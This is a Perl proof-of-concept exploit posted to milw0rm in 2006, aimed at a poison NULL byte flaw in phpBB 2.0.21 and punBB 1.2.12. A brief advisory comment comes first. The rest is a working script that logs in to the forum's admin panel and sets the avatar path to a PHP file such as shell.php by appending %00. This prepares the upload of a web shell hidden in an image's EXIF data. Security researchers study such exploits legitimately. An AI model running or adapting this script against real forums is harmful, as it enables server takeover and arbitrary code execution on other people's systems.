#!/usr/bin/perl -w # Author: ShAnKaR # Title: multiple PHP application poison NULL byte vulnerability # Applications: phpBB 2.0.21, punBB 1.2.12 # Threat Level: Critical # Original advisory (in Russian): http://www.security.nnov.ru/Odocument221.html # # Poison NULL byte vulnerability for perl CGI applications was described # in [1]. ShAnKaR noted, that same vulnerability also affects different # PHP applications. An example of vulnerable applications are phpBB and # punBB. # # Vulnerability can be used to upload or replace arbitrary files on # server, e.g. PHP scripts, by adding "poison NULL" (%00) to filename. # # In case of phpBB and punBB vulnerability can be exploited by changing # location of avatar file and uploading avatar file with PHP code in EXIF # data. # # A PoC exploit to change Avatar file location for phpBB: # # use HTTP::Cookies; use LWP; use URI::Escape; unless(@ARGV){die "USE:\n./phpbb.pl localhost.com/forum/ admin pass images/avatars/shell.php [d(DEBUG)]\n"} my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)'); $ua->cookie_jar( HTTP::Cookies->new()); $url='http://'.$ARGV[0].'/login.php'; $data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1"; my $req = new HTTP::Request 'POST',$url; $req->content_type('application/x-www-form-urlencoded'); $req->content($data); my $res = $ua->request($req); $res=$ua->get('http://'.$ARGV[0].'/login.php'); $content=$res->content; $content=~ m/true&sid=([^"]+)"/g; if($ARGV[4]){ $content=$res->content; print $content; } $url='http://'.$ARGV[0].'/login.php'; $data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1&admin=1"; $req = new HTTP::Request 'POST',$url; $req->content_type('application/x-www-form-urlencoded'); $req->content($data); $res = $ua->request($req); $url='http://'.$ARGV[0].'/admin/admin_board.php?sid='.$1; $data="submit=submit&allow_avatar_local=1&avatar_path=".$ARGV[3]."%00"; $req = new HTTP::Request 'POST',$url; $req->content_type('application/x-www-form-urlencoded'); $req->content($data); $res = $ua->request($req); if($ARGV[4]){ $content=$res->content; print $content; } # milw0rm.com [2006-09-11]